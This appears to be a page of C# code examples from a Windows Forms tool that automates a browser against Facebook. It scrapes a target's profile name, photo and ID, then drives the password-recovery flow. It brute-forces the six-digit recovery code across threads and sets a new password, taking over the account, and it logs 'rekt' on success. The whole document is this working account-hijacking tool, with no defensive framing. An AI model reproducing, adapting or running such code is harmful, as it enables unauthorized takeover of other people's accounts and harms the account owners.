示例#1
0
        void ResetPassword()
        {
            HtmlElement buf = null;

            m_LocalLoad = (___o, ___e) => {
                bool done = false;
                buf = GetElementWithClass("_42ft _4jy0 _4jy3 _4jy1 selected _51sy");
                if (buf != null)
                {
                    buf.InvokeMember("click");
                    AddDetail("Fail - 3");
                }

                else
                {
                    AddDetail(m_LocalDoc.Url.OriginalString);

                    if (m_LocalDoc.Url.OriginalString == "https://www.facebook.com/recover/initiate/?ars=facebook_login")
                    {
                        //failed
                        m_LocalDoc = m_Browser.Document;
                        buf        = GetElementWithAttr("href", "/login/identify?ctx=recover");
                        if (buf == null)
                        {
                            AddDetail("FAILT");

                            return;
                        }

                        buf.InvokeMember("click");
                        //m_LocalLoad = (xo, xe) =>
                        //{
                        m_LocalDoc = m_Browser.Document;
                        buf        = GetElementWithClass("inputtext");
                        if (buf == null)
                        {
                            AddDetail("FAILT - 1");
                            return;
                        }

                        SetElementValue(buf, tbEmail.Text);
                        GetElementWithAttr("id", "u_0_2").InvokeMember("click");

                        done = true;
                        ResetPassword();
                        return;
                        //};
                    }
                }

                if (!done)
                {
                    return;
                }

                m_LocalLoad = (_____o, _____e) => {
                    buf = GetElementWithClass("_585r _50f4");
                    if (buf != null)
                    {
                        buf = GetElementWithAttr("id", "recovery_code_entry");
                        if (buf == null)
                        {
                            AddDetail("Fail - 4");
                            return;
                        }

                        SetElementValue(buf, CODE_IF_PRESENT);

                        buf = GetElementWithClass("_42ft _4jy0 _4jy3 _4jy1 selected _51sy");
                        if (buf == null)
                        {
                            AddDetail("Fail - 5");
                            return;
                        }

                        buf.InvokeMember("click");
                    }

                    else
                    {
                        m_LocalLoad = (______o, ______e) => {
                            buf = GetElementWithClass("inputtext _55r1 _41sy");
                            if (buf == null)
                            {
                                AddDetail("Fail - 6");
                                return;
                            }

                            SetElementValue(buf, tbNew.Text);

                            buf = GetElementWithClass("_42ft _42fu selected _42g-");
                            if (buf == null)
                            {
                                AddDetail("Fail - 7");
                                return;
                            }

                            buf.InvokeMember("click");
                        };
                    }
                };
            };
        }
示例#2
0
        void OnValidateClick(object sender, EventArgs e)
        {
            AddDetail("Attempting to fetch...");
            AddDetail("Getting real profile");
            string realfblink = GetRealProfile(tbProfile.Text);

            if (realfblink == PROFILE_ERROR)
            {
                SetState("Cannot get real profile");
                AddDetail("Cannot get real profile");
                return;
            }

            SetState("Got real profile");
            AddDetail($"Got real profile...\n{realfblink}");

            m_Browser.Navigate(realfblink);
            m_LocalLoad = (o, evt) => {
                HtmlElement buf = GetElementWithAttr("id", "fb-timeline-cover-name");//GetElementWithClass(CLASS_NAME);
                if (buf != null)
                {
                    tbName.Text = buf.InnerText;
                }

                AddDetail("Checked name");

                buf = GetElementWithClass("alternate_name");
                if (buf != null)
                {
                    tbNx.Text = buf.InnerText;
                }
                else
                {
                    tbNx.Text = "-";
                }

                AddDetail("Checked nx");

                buf = GetElementWithClass("_11kf img");
                if (buf != null)
                {
                    pbPf.Load(buf.GetAttribute("src"));
                }

                AddDetail("Checked pfp");

                buf = GetElementWithAttr("id", "pagelet_timeline_main_column");
                if (buf != null)
                {
                    string dgt  = buf.GetAttribute("data-gt");
                    int    idx  = dgt.IndexOf("{\"profile_owner\":\"");
                    string real = dgt.Substring(idx + 18);
                    string id   = "";

                    foreach (char c in real)
                    {
                        if (!char.IsDigit(c))
                        {
                            break;
                        }
                        else
                        {
                            id += c;
                        }
                    }

                    tbId.Text = id;
                }

                AddDetail("Checked id");

                Navigate("www.facebook.com/login/device-based/regular/login/");
                m_LocalLoad = (_o, _e) => {
                    buf = GetElementWithClass("inputtext _55r1 inputtext _1kbt inputtext _1kbt");
                    if (buf == null)
                    {
                        AddDetail("Fail - 0");
                        return;
                    }

                    SetElementValue(buf, tbId.Text);

                    buf = GetElementWithAttr("id", "pass");
                    if (buf == null)
                    {
                        AddDetail("Fail 0.1");
                        return;
                    }

                    SetElementValue(buf, "iammrkdagods");

                    buf = GetElementWithClass("inputtext _55r1 inputtext _1kbt _4rer inputtext _1kbt");
                    if (buf != null)
                    {
                        SetElementValue(buf, tbId.Text);
                    }

                    buf = GetElementWithAttr("id", "loginbutton");
                    if (buf == null)
                    {
                        AddDetail("Fail - 1");
                        return;
                    }

                    buf.InvokeMember("click");

                    m_LocalLoad = (__o, __e) => {
                        buf = GetElementWithAttr("href", "https://www.facebook.com/recover/initiate/?ars=facebook_login");
                        if (buf == null)
                        {
                            AddDetail("Fail - 2");
                            return;
                        }

                        buf.InvokeMember("click");

                        ResetPassword();
                        m_LocalLoad(this, new WebBrowserDocumentCompletedEventArgs(null));
                    };
                };
            };
        }
示例#3
0
        void OnFuckClick(object sender, EventArgs e)
        {
            HtmlElement buf = GetElementWithClass("_42ft _4jy0 _4jy3 _4jy1 selected _51sy");

            if (buf == null)
            {
                Navigate("https://www.facebook.com/login/identify?ctx=recover");
                m_LocalLoad = (_o, _e) => {
                    buf = GetElementWithClass("inputtext");
                    if (buf == null)
                    {
                        AddDetail("FAILT - 1");
                        return;
                    }

                    SetElementValue(buf, tbEmail.Text);
                    GetElementWithAttr("id", "u_0_2").InvokeMember("click");
                    //Navigate(m_Browser.Url.OriginalString);
                    m_DirtyLoad = (__o, __e) => {
                        buf = GetElementWithClass("_42ft _4jy0 _4jy3 _4jy1 selected _51sy");
                        if (buf == null)
                        {
                            AddDetail("Fail - 3");
                            return;
                        }
                        buf.InvokeMember("click");

                        m_DirtyLoad = (___o, ___e) => {
                            buf = GetElementWithClass("_585r _50f4");
                            if (buf != null)
                            {
                                buf = GetElementWithAttr("id", "recovery_code_entry");
                                if (buf == null)
                                {
                                    AddDetail("Fail - 4");
                                    return;
                                }

                                SetState("WORKER PERMS");
                                AddDetail("Worker state...");
                                AddDetail("THREADS=" + tbThread.Text);
                                int threadCount            = int.Parse(tbThread.Text);
                                int valuesPerPart          = 1000000 / threadCount;
                                Dictionary <int, int> indx = new Dictionary <int, int>();
                                int[][]  values            = new int[threadCount][];
                                DateTime time      = DateTime.Now;
                                float    delta     = 0f;
                                float    timer     = 0f;
                                float    timePerEx = 2f;
                                int      prob      = 0;

                                Init(new int[] { threadCount, valuesPerPart }, timePerEx);

                                string _code = "000000";

                                while (true)
                                {
                                    delta  = (DateTime.Now - time).Ticks / TimeSpan.TicksPerSecond;
                                    delta /= 1000f;

                                    timer += delta;
                                    if (timer >= timePerEx)
                                    {
                                        timer = 0f;
                                    }
                                    else
                                    {
                                        continue;
                                    }

                                    timePerEx *= LastExR();// 0.9f;

                                    bool gbreak = false;

                                    for (int i = 0; i < threadCount; i++)
                                    {
                                        int[] _v = values[i];
                                        if (_v == null || _v.Length == 0)
                                        {
                                            _v = new int[valuesPerPart];
                                            for (int j = 0; j < valuesPerPart; j++)
                                            {
                                                _v[j] = i * valuesPerPart + j;
                                            }

                                            int root = _v[0];

                                            if (cbShuffle.Checked)
                                            {
                                                Random rand = new Random();
                                                _v = _v.OrderBy(x => rand.Next()).ToArray();
                                            }

                                            AddDetail($"Init ={_v[0]}, c={_v.Length}, r={root}");
                                            AddDetail("wait...");

                                            values[i] = _v;
                                            indx[i]   = 0;

                                            timer = 0f;
                                            continue;
                                        }

                                        //try code x
                                        int code = _v[indx[i]];

                                        string md5 = "";

                                        using (MD5 _md5 = MD5.Create()) {
                                            byte[]        inputBytes = Encoding.ASCII.GetBytes(code.ToString());
                                            byte[]        hashBytes  = _md5.ComputeHash(inputBytes);
                                            StringBuilder sb         = new StringBuilder();
                                            for (int j = 0; j < hashBytes.Length; j++)
                                            {
                                                sb.Append(hashBytes[j].ToString("X2"));
                                            }

                                            md5 = sb.ToString();
                                            AddDetail(md5);
                                        }

                                        string realCode = code.ToString();
                                        if (realCode.Length < 6)
                                        {
                                            realCode = realCode.Insert(0, new string('0', 6 - realCode.Length));
                                        }

                                        bool res = ExCode(realCode, md5);

                                        AddDetail($"RES={res}");

                                        if (res)
                                        {
                                            _code = realCode;
                                            AddDetail("done");
                                            SetState("rekt");
                                            gbreak = true;
                                            break;
                                        }

                                        indx[i]++;
                                        prob++;

                                        lProb.Text = $"{prob / 1000000f * 100f}%";
                                        SetState(prob.ToString());
                                        AddDetail($"{prob / 1000000f * 100f}%");
                                    }

                                    if (gbreak)
                                    {
                                        break;
                                    }

                                    //get last of last
                                    if (indx[threadCount - 1] >= valuesPerPart - 1)
                                    {
                                        break;
                                    }
                                }

                                if (_code == "000000")
                                {
                                    AddDetail("Fail..");
                                    return;
                                }

                                SetElementValue(buf, _code);

                                buf = GetElementWithClass("_42ft _4jy0 _4jy3 _4jy1 selected _51sy");
                                if (buf == null)
                                {
                                    AddDetail("Fail - 5");
                                    return;
                                }

                                buf.InvokeMember("click");

                                buf = GetElementWithClass("inputtext _55r1 _41sy");
                                if (buf == null)
                                {
                                    AddDetail("Fail - 5.1");
                                    return;
                                }

                                SetElementValue(buf, tbNew.Text);

                                buf = GetElementWithClass("_42ft _42fu selected _42g-");
                                if (buf == null)
                                {
                                    AddDetail("Fail - 7");
                                    return;
                                }

                                buf.InvokeMember("click");
                            }

                            else
                            {
                                m_DirtyLoad = (______o, ______e) => {
                                    buf = GetElementWithClass("inputtext _55r1 _41sy");
                                    if (buf == null)
                                    {
                                        AddDetail("Fail - 6");
                                        return;
                                    }

                                    SetElementValue(buf, tbNew.Text);

                                    buf = GetElementWithClass("_42ft _42fu selected _42g-");
                                    if (buf == null)
                                    {
                                        AddDetail("Fail - 7");
                                        return;
                                    }

                                    buf.InvokeMember("click");
                                };
                            }
                        };
                    };
                };
            }
            else
            {
                buf.InvokeMember("click");
                m_DirtyLoad = (___o, ___e) => {
                    buf = GetElementWithClass("_585r _50f4");
                    if (buf != null)
                    {
                        buf = GetElementWithAttr("id", "recovery_code_entry");
                        if (buf == null)
                        {
                            AddDetail("Fail - 4");
                            return;
                        }

                        SetState("WORKER PERMS");
                        AddDetail("Worker state...");
                        AddDetail("THREADS=" + tbThread.Text);
                        int threadCount            = int.Parse(tbThread.Text);
                        int valuesPerPart          = 1000000 / threadCount;
                        Dictionary <int, int> indx = new Dictionary <int, int>();
                        int[][]  values            = new int[threadCount][];
                        DateTime time      = DateTime.Now;
                        float    delta     = 0f;
                        float    timer     = 0f;
                        float    timePerEx = 2f;
                        int      prob      = 0;

                        Init(new int[] { threadCount, valuesPerPart }, timePerEx);

                        string _code = "000000";

                        while (true)
                        {
                            delta  = (DateTime.Now - time).Ticks / TimeSpan.TicksPerSecond;
                            delta /= 1000f;

                            timer += delta;
                            if (timer >= timePerEx)
                            {
                                timer = 0f;
                            }
                            else
                            {
                                continue;
                            }

                            timePerEx *= LastExR();

                            bool gbreak = false;

                            for (int i = 0; i < threadCount; i++)
                            {
                                int[] _v = values[i];
                                if (_v == null || _v.Length == 0)
                                {
                                    _v = new int[valuesPerPart];
                                    for (int j = 0; j < valuesPerPart; j++)
                                    {
                                        _v[j] = i * valuesPerPart + j;
                                    }

                                    int root = _v[0];

                                    if (cbShuffle.Checked)
                                    {
                                        Random rand = new Random();
                                        _v = _v.OrderBy(x => rand.Next()).ToArray();
                                    }

                                    AddDetail($"Init ={_v[0]}, c={_v.Length}, r={root}");
                                    AddDetail("wait...");

                                    values[i] = _v;
                                    indx[i]   = 0;

                                    timer = 0f;
                                    continue;
                                }

                                //try code x
                                int code = _v[indx[i]];

                                string md5 = "";

                                using (MD5 _md5 = MD5.Create()) {
                                    byte[]        inputBytes = Encoding.ASCII.GetBytes(code.ToString());
                                    byte[]        hashBytes  = _md5.ComputeHash(inputBytes);
                                    StringBuilder sb         = new StringBuilder();
                                    for (int j = 0; j < hashBytes.Length; j++)
                                    {
                                        sb.Append(hashBytes[j].ToString("X2"));
                                    }

                                    md5 = sb.ToString();

                                    AddDetail(md5);
                                }

                                string realCode = code.ToString();
                                if (realCode.Length < 6)
                                {
                                    realCode = realCode.Insert(0, new string('0', 6 - realCode.Length));
                                }

                                bool res = ExCode(realCode, md5);

                                AddDetail($"RES={res}");

                                if (res)
                                {
                                    _code = realCode;
                                    AddDetail("done");
                                    SetState("rekt");
                                    gbreak = true;
                                    break;
                                }

                                indx[i]++;
                                prob++;

                                lProb.Text = $"{prob / 1000000f * 100f}%";
                                SetState(prob.ToString());
                                AddDetail($"{prob / 1000000f * 100f}%");
                            }

                            if (gbreak)
                            {
                                break;
                            }

                            //get last of last
                            if (indx[threadCount - 1] >= valuesPerPart - 1)
                            {
                                break;
                            }
                        }

                        if (_code == "000000")
                        {
                            AddDetail("Fail..");
                            return;
                        }

                        SetElementValue(buf, _code);

                        buf = GetElementWithClass("_42ft _4jy0 _4jy3 _4jy1 selected _51sy");
                        if (buf == null)
                        {
                            AddDetail("Fail - 5");
                            return;
                        }

                        buf.InvokeMember("click");
                    }

                    else
                    {
                        //m_DirtyLoad = (______o, ______e) =>
                        //{
                        buf = GetElementWithClass("inputtext _55r1 _41sy");
                        if (buf == null)
                        {
                            AddDetail("Fail - 6");
                            return;
                        }

                        SetElementValue(buf, tbNew.Text);

                        buf = GetElementWithClass("_42ft _42fu selected _42g-");
                        if (buf == null)
                        {
                            AddDetail("Fail - 7");
                            return;
                        }

                        buf.InvokeMember("click");
                        //};
                    }
                };
            }
        }